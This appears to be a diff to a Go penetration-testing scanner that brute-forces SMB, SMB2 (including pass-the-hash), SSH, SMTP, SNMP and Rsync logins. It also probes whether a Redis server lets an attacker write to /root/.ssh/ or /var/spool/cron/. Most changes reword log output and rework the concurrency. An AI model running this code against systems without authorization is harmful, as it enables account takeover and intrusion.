||||
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入失败: %v", realhost, text))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 恢复数据库配置
|
||||
if err = recoverdb(dbfilename, dir, conn); err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v 恢复数据库失败: %v", realhost, err))
|
||||
Common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err))
|
||||
}
|
||||
|
||||
return err
|
||||
@ -328,11 +328,11 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
|
||||
// 读取密钥文件
|
||||
key, err := Readfile(filename)
|
||||
if err != nil {
|
||||
text = fmt.Sprintf("[-] 读取密钥文件 %s 失败: %v", filename, err)
|
||||
text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err)
|
||||
return flag, text, err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
text = fmt.Sprintf("[-] 密钥文件 %s 为空", filename)
|
||||
text = fmt.Sprintf("密钥文件 %s 为空", filename)
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
@ -414,7 +414,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
// 解析目标主机地址
|
||||
target := strings.Split(host, ":")
|
||||
if len(target) < 2 {
|
||||
return flag, "[-] 主机地址格式错误", err
|
||||
return flag, "主机地址格式错误", err
|
||||
}
|
||||
scanIp, scanPort := target[0], target[1]
|
||||
|
||||
@ -495,40 +495,40 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
||||
fmt.Println("[*] 正在测试 /root/.ssh/ 目录写入权限...")
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
|
||||
if err != nil {
|
||||
fmt.Printf("[-] 发送SSH目录测试命令失败: %v\n", err)
|
||||
fmt.Printf("发送SSH目录测试命令失败: %v\n", err)
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err := readreply(conn)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] 读取SSH目录测试响应失败: %v\n", err)
|
||||
fmt.Printf("读取SSH目录测试响应失败: %v\n", err)
|
||||
return flag, flagCron, err
|
||||
}
|
||||
fmt.Printf("[*] SSH目录测试响应: %s\n", text)
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
fmt.Println("[+] SSH目录写入权限测试成功")
|
||||
fmt.Println("SSH目录写入权限测试成功")
|
||||
} else {
|
||||
fmt.Println("[-] SSH目录写入权限测试失败")
|
||||
fmt.Println("SSH目录写入权限测试失败")
|
||||
}
|
||||
|
||||
// 测试定时任务目录写入权限
|
||||
fmt.Println("[*] 正在测试 /var/spool/cron/ 目录写入权限...")
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
||||
if err != nil {
|
||||
fmt.Printf("[-] 发送定时任务目录测试命令失败: %v\n", err)
|
||||
fmt.Printf("发送定时任务目录测试命令失败: %v\n", err)
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] 读取定时任务目录测试响应失败: %v\n", err)
|
||||
fmt.Printf("读取定时任务目录测试响应失败: %v\n", err)
|
||||
return flag, flagCron, err
|
||||
}
|
||||
fmt.Printf("[*] 定时任务目录测试响应: %s\n", text)
|
||||
if strings.Contains(text, "OK") {
|
||||
flagCron = true
|
||||
fmt.Println("[+] 定时任务目录写入权限测试成功")
|
||||
fmt.Println("定时任务目录写入权限测试成功")
|
||||
} else {
|
||||
fmt.Println("[-] 定时任务目录写入权限测试失败")
|
||||
fmt.Println("定时任务目录写入权限测试失败")
|
||||
}
|
||||
|
||||
fmt.Printf("[*] 写入权限测试完成 - SSH权限: %v, Cron权限: %v\n", flag, flagCron)
|
||||
|
@ -102,7 +102,7 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@ -242,7 +242,7 @@ func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
if strings.Contains(authResponse, "@RSYNCD: OK") {
|
||||
// 模块不需要认证
|
||||
if user == "" && pass == "" {
|
||||
result := fmt.Sprintf("[+] Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName)
|
||||
result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
@ -264,7 +264,7 @@ func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
}
|
||||
|
||||
if !strings.Contains(string(buffer[:n]), "@ERROR") {
|
||||
result := fmt.Sprintf("[+] Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v",
|
||||
result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v",
|
||||
host, port, moduleName, user, pass)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
|
139
Plugins/SMB.go
139
Plugins/SMB.go
@ -15,67 +15,86 @@ func SmbScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
threads := Common.BruteThreads
|
||||
totalTasks := len(Common.Userdict["smb"]) * len(Common.Passwords)
|
||||
|
||||
taskChan := make(chan struct {
|
||||
user string
|
||||
pass string
|
||||
}, totalTasks)
|
||||
|
||||
// 生成任务
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
taskChan <- struct {
|
||||
user string
|
||||
pass string
|
||||
}{user, pass}
|
||||
}
|
||||
}
|
||||
close(taskChan)
|
||||
|
||||
var wg sync.WaitGroup
|
||||
successChan := make(chan struct{}, 1)
|
||||
|
||||
// 启动工作线程
|
||||
for i := 0; i < threads; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for task := range taskChan {
|
||||
select {
|
||||
case <-successChan:
|
||||
return
|
||||
default:
|
||||
}
|
||||
// 按用户分组处理
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
taskChan := make(chan string, len(Common.Passwords))
|
||||
|
||||
success, err := doWithTimeOut(info, task.user, task.pass)
|
||||
if success {
|
||||
if Common.Domain != "" {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v",
|
||||
info.Host, info.Ports, Common.Domain, task.user, task.pass))
|
||||
} else {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] SMB认证成功 %v:%v User:%v Pass:%v",
|
||||
info.Host, info.Ports, task.user, task.pass))
|
||||
for _, pass := range Common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
taskChan <- pass
|
||||
}
|
||||
close(taskChan)
|
||||
|
||||
for i := 0; i < threads; i++ {
|
||||
wg.Add(1)
|
||||
go func(username string) {
|
||||
defer wg.Done()
|
||||
for pass := range taskChan {
|
||||
select {
|
||||
case <-successChan:
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
success, err := doWithTimeOut(info, username, pass)
|
||||
if success {
|
||||
if Common.Domain != "" {
|
||||
Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s\\%s:%s",
|
||||
info.Host, info.Ports, Common.Domain, username, pass))
|
||||
} else {
|
||||
Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s:%s",
|
||||
info.Host, info.Ports, username, pass))
|
||||
}
|
||||
successChan <- struct{}{}
|
||||
|
||||
// 成功后等待确保日志打印完成
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
return
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("SMB认证失败 %s:%s %s:%s %v",
|
||||
info.Host, info.Ports, username, pass, err))
|
||||
|
||||
// 等待失败日志打印完成
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
if strings.Contains(err.Error(), "账号锁定") {
|
||||
for range taskChan {
|
||||
// 清空通道
|
||||
}
|
||||
time.Sleep(200 * time.Millisecond) // 确保锁定日志打印完成
|
||||
return
|
||||
}
|
||||
}
|
||||
successChan <- struct{}{}
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] SMB认证失败 %v:%v User:%v Pass:%v Err:%v",
|
||||
info.Host, info.Ports, task.user, task.pass, err))
|
||||
}
|
||||
}
|
||||
}()
|
||||
}(user)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
select {
|
||||
case <-successChan:
|
||||
// 等待日志打印完成
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
Common.LogWG.Wait()
|
||||
return nil
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
// 主函数结束前多等待一会
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
Common.LogWG.Wait()
|
||||
// 最后再等待一下,确保所有日志都打印完成
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
return nil
|
||||
}
|
||||
|
||||
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
|
||||
flag = false
|
||||
|
||||
options := smb.Options{
|
||||
Host: info.Host,
|
||||
Port: 445,
|
||||
@ -89,10 +108,9 @@ func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struc
|
||||
if err == nil {
|
||||
defer session.Close()
|
||||
if session.IsAuthenticated {
|
||||
flag = true
|
||||
return flag, nil
|
||||
return true, nil
|
||||
}
|
||||
return flag, fmt.Errorf("认证失败")
|
||||
return false, fmt.Errorf("认证失败")
|
||||
}
|
||||
|
||||
// 清理错误信息中的换行符和多余空格
|
||||
@ -100,24 +118,24 @@ func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struc
|
||||
if strings.Contains(errMsg, "NT Status Error") {
|
||||
switch {
|
||||
case strings.Contains(errMsg, "STATUS_LOGON_FAILURE"):
|
||||
err = fmt.Errorf("用户名或密码错误")
|
||||
err = fmt.Errorf("密码错误")
|
||||
case strings.Contains(errMsg, "STATUS_ACCOUNT_LOCKED_OUT"):
|
||||
err = fmt.Errorf("账号已锁定")
|
||||
err = fmt.Errorf("账号锁定")
|
||||
case strings.Contains(errMsg, "STATUS_ACCESS_DENIED"):
|
||||
err = fmt.Errorf("访问被拒绝")
|
||||
err = fmt.Errorf("拒绝访问")
|
||||
case strings.Contains(errMsg, "STATUS_ACCOUNT_DISABLED"):
|
||||
err = fmt.Errorf("账号已禁用")
|
||||
err = fmt.Errorf("账号禁用")
|
||||
case strings.Contains(errMsg, "STATUS_PASSWORD_EXPIRED"):
|
||||
err = fmt.Errorf("密码已过期")
|
||||
err = fmt.Errorf("密码过期")
|
||||
case strings.Contains(errMsg, "STATUS_USER_SESSION_DELETED"):
|
||||
return flag, fmt.Errorf("会话已断开")
|
||||
return false, fmt.Errorf("会话断开")
|
||||
default:
|
||||
err = fmt.Errorf("认证失败") // 简化错误信息
|
||||
err = fmt.Errorf("认证失败")
|
||||
}
|
||||
}
|
||||
|
||||
signal <- struct{}{}
|
||||
return flag, err
|
||||
return false, err
|
||||
}
|
||||
|
||||
func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
@ -142,7 +160,6 @@ func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool,
|
||||
case r := <-result:
|
||||
return r.success, r.err
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
// 尝试从result通道读取,避免协程泄露
|
||||
select {
|
||||
case r := <-result:
|
||||
return r.success, r.err
|
||||
|
339
Plugins/SMB2.go
339
Plugins/SMB2.go
@ -27,190 +27,155 @@ func SmbScan2(info *Common.HostInfo) (tmperr error) {
|
||||
return smbPasswordScan(info)
|
||||
}
|
||||
|
||||
// smbHashScan 使用哈希进行认证扫描
|
||||
func smbHashScan(info *Common.HostInfo) error {
|
||||
maxRetries := Common.MaxRetries
|
||||
threads := Common.BruteThreads
|
||||
hasprint := false
|
||||
|
||||
// 创建任务通道
|
||||
taskChan := make(chan struct {
|
||||
user string
|
||||
hash []byte
|
||||
}, len(Common.Userdict["smb"])*len(Common.HashBytes))
|
||||
|
||||
resultChan := make(chan error, threads)
|
||||
|
||||
// 生成所有用户名和哈希组合任务
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
for _, hash := range Common.HashBytes {
|
||||
taskChan <- struct {
|
||||
user string
|
||||
hash []byte
|
||||
}{user, hash}
|
||||
}
|
||||
// smbPasswordScan 使用密码进行认证扫描
|
||||
func smbPasswordScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
close(taskChan)
|
||||
|
||||
// 启动工作线程
|
||||
threads := Common.BruteThreads
|
||||
|
||||
var wg sync.WaitGroup
|
||||
successChan := make(chan struct{}, 1)
|
||||
hasprint := false
|
||||
var hasPrintMutex sync.Mutex
|
||||
|
||||
for i := 0; i < threads; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
startTime := time.Now().Unix()
|
||||
// 改成按用户分组处理
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
// 为每个用户创建密码任务通道
|
||||
taskChan := make(chan string, len(Common.Passwords))
|
||||
|
||||
for task := range taskChan {
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-startTime > int64(Common.Timeout) {
|
||||
resultChan <- fmt.Errorf("扫描超时")
|
||||
// 生成该用户的所有密码任务
|
||||
for _, pass := range Common.Passwords {
|
||||
pass = strings.ReplaceAll(pass, "{user}", user)
|
||||
taskChan <- pass
|
||||
}
|
||||
close(taskChan)
|
||||
|
||||
// 启动工作线程
|
||||
for i := 0; i < threads; i++ {
|
||||
wg.Add(1)
|
||||
go func(username string) {
|
||||
defer wg.Done()
|
||||
|
||||
for pass := range taskChan {
|
||||
select {
|
||||
case <-successChan:
|
||||
return
|
||||
default:
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
|
||||
// 执行SMB2认证
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
printed bool
|
||||
})
|
||||
|
||||
go func(user string, hash []byte) {
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
|
||||
hasPrintMutex.Lock()
|
||||
currentHasPrint := hasprint
|
||||
hasPrintMutex.Unlock()
|
||||
|
||||
success, err, printed := Smb2Con(info, user, "", hash, currentHasPrint)
|
||||
success, err, printed := Smb2Con(info, username, pass, []byte{}, currentHasPrint)
|
||||
|
||||
if printed {
|
||||
hasPrintMutex.Lock()
|
||||
hasprint = true
|
||||
hasPrintMutex.Unlock()
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
|
||||
done <- struct {
|
||||
success bool
|
||||
err error
|
||||
printed bool
|
||||
}{success, err, printed}
|
||||
}(task.user, task.hash)
|
||||
|
||||
// 等待结果或超时
|
||||
select {
|
||||
case result := <-done:
|
||||
if result.success {
|
||||
logSuccessfulAuth(info, task.user, "", task.hash)
|
||||
resultChan <- nil
|
||||
if success {
|
||||
logSuccessfulAuth(info, username, pass, []byte{})
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
successChan <- struct{}{}
|
||||
return
|
||||
}
|
||||
|
||||
if result.err != nil {
|
||||
logFailedAuth(info, task.user, "", task.hash, result.err)
|
||||
if err != nil {
|
||||
logFailedAuth(info, username, pass, []byte{}, err)
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(result.err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
resultChan <- result.err
|
||||
return
|
||||
// 检查是否账户锁定
|
||||
if strings.Contains(err.Error(), "user account has been automatically locked") {
|
||||
// 发现账户锁定,清空任务通道并返回
|
||||
for range taskChan {
|
||||
// 清空通道
|
||||
}
|
||||
continue // 继续重试
|
||||
return
|
||||
}
|
||||
|
||||
// 其他登录失败情况
|
||||
if strings.Contains(err.Error(), "LOGIN_FAILED") ||
|
||||
strings.Contains(err.Error(), "Authentication failed") ||
|
||||
strings.Contains(err.Error(), "attempted logon is invalid") ||
|
||||
strings.Contains(err.Error(), "bad username or authentication") {
|
||||
break
|
||||
}
|
||||
|
||||
if retryCount < Common.MaxRetries-1 {
|
||||
time.Sleep(time.Second * time.Duration(retryCount+2))
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
logFailedAuth(info, task.user, "", task.hash, fmt.Errorf("连接超时"))
|
||||
break
|
||||
}
|
||||
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
}
|
||||
}(user)
|
||||
}
|
||||
|
||||
if len(Common.HashValue) > 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
resultChan <- nil
|
||||
}()
|
||||
}
|
||||
wg.Wait() // 等待当前用户的所有密码尝试完成
|
||||
|
||||
// 等待所有线程完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 检查结果
|
||||
for err := range resultChan {
|
||||
if err != nil {
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
return err
|
||||
}
|
||||
// 检查是否已经找到正确密码
|
||||
select {
|
||||
case <-successChan:
|
||||
return nil
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
return nil
|
||||
}
|
||||
|
||||
// smbPasswordScan 使用密码进行认证扫描
|
||||
func smbPasswordScan(info *Common.HostInfo) error {
|
||||
maxRetries := Common.MaxRetries
|
||||
threads := Common.BruteThreads
|
||||
hasprint := false
|
||||
|
||||
// 创建任务通道
|
||||
taskChan := make(chan struct {
|
||||
user string
|
||||
pass string
|
||||
}, len(Common.Userdict["smb"])*len(Common.Passwords))
|
||||
|
||||
resultChan := make(chan error, threads)
|
||||
|
||||
// 生成所有用户名密码组合任务
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
pass = strings.ReplaceAll(pass, "{user}", user)
|
||||
taskChan <- struct {
|
||||
user string
|
||||
pass string
|
||||
}{user, pass}
|
||||
}
|
||||
func smbHashScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
close(taskChan)
|
||||
|
||||
// 启动工作线程
|
||||
threads := Common.BruteThreads
|
||||
var wg sync.WaitGroup
|
||||
successChan := make(chan struct{}, 1)
|
||||
hasprint := false
|
||||
var hasPrintMutex sync.Mutex
|
||||
|
||||
for i := 0; i < threads; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
startTime := time.Now().Unix()
|
||||
// 按用户分组处理
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
// 为每个用户创建hash任务通道
|
||||
taskChan := make(chan []byte, len(Common.HashBytes))
|
||||
|
||||
for task := range taskChan {
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-startTime > int64(Common.Timeout) {
|
||||
resultChan <- fmt.Errorf("扫描超时")
|
||||
// 生成该用户的所有hash任务
|
||||
for _, hash := range Common.HashBytes {
|
||||
taskChan <- hash
|
||||
}
|
||||
close(taskChan)
|
||||
|
||||
// 启动工作线程
|
||||
for i := 0; i < threads; i++ {
|
||||
wg.Add(1)
|
||||
go func(username string) {
|
||||
defer wg.Done()
|
||||
|
||||
for hash := range taskChan {
|
||||
select {
|
||||
case <-successChan:
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
// 执行SMB2认证
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
printed bool
|
||||
})
|
||||
|
||||
go func(user, pass string) {
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
|
||||
hasPrintMutex.Lock()
|
||||
currentHasPrint := hasprint
|
||||
hasPrintMutex.Unlock()
|
||||
|
||||
success, err, printed := Smb2Con(info, user, pass, []byte{}, currentHasPrint)
|
||||
success, err, printed := Smb2Con(info, username, "", hash, currentHasPrint)
|
||||
|
||||
if printed {
|
||||
hasPrintMutex.Lock()
|
||||
@ -218,62 +183,50 @@ func smbPasswordScan(info *Common.HostInfo) error {
|
||||
hasPrintMutex.Unlock()
|
||||
}
|
||||
|
||||
done <- struct {
|
||||
success bool
|
||||
err error
|
||||
printed bool
|
||||
}{success, err, printed}
|
||||
}(task.user, task.pass)
|
||||
|
||||
// 等待结果或超时
|
||||
select {
|
||||
case result := <-done:
|
||||
if result.success {
|
||||
logSuccessfulAuth(info, task.user, task.pass, []byte{})
|
||||
resultChan <- nil
|
||||
if success {
|
||||
logSuccessfulAuth(info, username, "", hash)
|
||||
successChan <- struct{}{}
|
||||
return
|
||||
}
|
||||
|
||||
if result.err != nil {
|
||||
logFailedAuth(info, task.user, task.pass, []byte{}, result.err)
|
||||
if err != nil {
|
||||
logFailedAuth(info, username, "", hash, err)
|
||||
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(result.err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
resultChan <- result.err
|
||||
return
|
||||
// 检查是否账户锁定
|
||||
if strings.Contains(err.Error(), "user account has been automatically locked") {
|
||||
// 发现账户锁定,清空任务通道并返回
|
||||
for range taskChan {
|
||||
// 清空通道
|
||||
}
|
||||
continue // 继续重试
|
||||
return
|
||||
}
|
||||
|
||||
// 其他登录失败情况
|
||||
if strings.Contains(err.Error(), "LOGIN_FAILED") ||
|
||||
strings.Contains(err.Error(), "Authentication failed") ||
|
||||
strings.Contains(err.Error(), "attempted logon is invalid") ||
|
||||
strings.Contains(err.Error(), "bad username or authentication") {
|
||||
break
|
||||
}
|
||||
|
||||
if retryCount < Common.MaxRetries-1 {
|
||||
time.Sleep(time.Second * time.Duration(retryCount+1))
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
logFailedAuth(info, task.user, task.pass, []byte{}, fmt.Errorf("连接超时"))
|
||||
break
|
||||
}
|
||||
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
}
|
||||
}(user)
|
||||
}
|
||||
|
||||
if len(Common.HashValue) > 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
resultChan <- nil
|
||||
}()
|
||||
}
|
||||
wg.Wait() // 等待当前用户的所有hash尝试完成
|
||||
|
||||
// 等待所有线程完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 检查结果
|
||||
for err := range resultChan {
|
||||
if err != nil {
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
return err
|
||||
}
|
||||
// 检查是否已经找到正确凭据
|
||||
select {
|
||||
case <-successChan:
|
||||
return nil
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
@ -284,17 +237,17 @@ func smbPasswordScan(info *Common.HostInfo) error {
|
||||
func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
|
||||
var result string
|
||||
if Common.Domain != "" {
|
||||
result = fmt.Sprintf("[+] SMB2认证成功 %v:%v Domain:%v\\%v ",
|
||||
result = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s",
|
||||
info.Host, info.Ports, Common.Domain, user)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] SMB2认证成功 %v:%v User:%v ",
|
||||
result = fmt.Sprintf("SMB2认证成功 %s:%s %s",
|
||||
info.Host, info.Ports, user)
|
||||
}
|
||||
|
||||
if len(hash) > 0 {
|
||||
result += fmt.Sprintf("HashValue:%v", Common.HashValue)
|
||||
result += fmt.Sprintf(" Hash:%s", Common.HashValue)
|
||||
} else {
|
||||
result += fmt.Sprintf("Pass:%v", pass)
|
||||
result += fmt.Sprintf(" Pass:%s", pass)
|
||||
}
|
||||
Common.LogSuccess(result)
|
||||
}
|
||||
@ -303,10 +256,10 @@ func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
|
||||
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) {
|
||||
var errlog string
|
||||
if len(hash) > 0 {
|
||||
errlog = fmt.Sprintf("[-] SMB2认证失败 %v:%v User:%v HashValue:%v Err:%v",
|
||||
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s Hash:%s %v",
|
||||
info.Host, info.Ports, user, Common.HashValue, err)
|
||||
} else {
|
||||
errlog = fmt.Sprintf("[-] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v",
|
||||
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s:%s %v",
|
||||
info.Host, info.Ports, user, pass, err)
|
||||
}
|
||||
errlog = strings.ReplaceAll(errlog, "\n", " ")
|
||||
@ -379,24 +332,20 @@ func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, haspr
|
||||
// logShareInfo 记录SMB共享信息
|
||||
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) {
|
||||
var result string
|
||||
|
||||
// 构建基础信息
|
||||
if Common.Domain != "" {
|
||||
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v Domain:%v\\%v ",
|
||||
result = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s",
|
||||
info.Host, info.Ports, Common.Domain, user)
|
||||
} else {
|
||||
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v User:%v ",
|
||||
result = fmt.Sprintf("SMB2共享信息 %s:%s %s",
|
||||
info.Host, info.Ports, user)
|
||||
}
|
||||
|
||||
// 添加认证信息
|
||||
if len(hash) > 0 {
|
||||
result += fmt.Sprintf("HashValue:%v ", Common.HashValue)
|
||||
result += fmt.Sprintf(" Hash:%s", Common.HashValue)
|
||||
} else {
|
||||
result += fmt.Sprintf("Pass:%v ", pass)
|
||||
result += fmt.Sprintf(" Pass:%s", pass)
|
||||
}
|
||||
|
||||
// 添加共享列表
|
||||
result += fmt.Sprintf("可用共享: %v", shares)
|
||||
Common.LogSuccess(result)
|
||||
result += fmt.Sprintf(" 共享:%v", shares)
|
||||
Common.LogInfo(result)
|
||||
}
|
||||
|
@ -102,7 +102,7 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@ -180,7 +180,7 @@ func SmtpConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
}
|
||||
|
||||
// 如果成功
|
||||
result := fmt.Sprintf("[+] SMTP服务 %v:%v ", host, port)
|
||||
result := fmt.Sprintf("SMTP服务 %v:%v ", host, port)
|
||||
if user != "" {
|
||||
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
|
||||
} else {
|
||||
|
@ -71,7 +71,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
// 连接成功
|
||||
successLog := fmt.Sprintf("[+] SNMP服务 %v:%v community: %v 连接成功",
|
||||
successLog := fmt.Sprintf("SNMP服务 %v:%v community: %v 连接成功",
|
||||
info.Host, info.Ports, community)
|
||||
Common.LogSuccess(successLog)
|
||||
resultChan <- nil
|
||||
@ -83,7 +83,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] SNMP服务 %v:%v 尝试失败 community: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("SNMP服务 %v:%v 尝试失败 community: %v 错误: %v",
|
||||
info.Host, info.Ports, community, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@ -150,7 +150,7 @@ func SNMPConnect(info *Common.HostInfo, community string, portNum int) (bool, er
|
||||
}
|
||||
|
||||
if len(result.Variables) > 0 {
|
||||
success := fmt.Sprintf("[+] SNMP服务 %v:%v community: %v",
|
||||
success := fmt.Sprintf("SNMP服务 %v:%v community: %v",
|
||||
host, portNum, community) // 使用portNum替换port
|
||||
|
||||
if result.Variables[0].Type != gosnmp.NoSuchObject {
|
||||
|
@ -71,7 +71,7 @@ func SshScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v",
|
||||
errlog := fmt.Sprintf("SSH认证失败 %v:%v User:%v Pass:%v Err:%v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@ -120,12 +120,12 @@ func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
|
||||
if Common.SshKeyPath != "" {
|
||||
pemBytes, err := ioutil.ReadFile(Common.SshKeyPath)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("[-] 读取密钥失败: %v", err)
|
||||
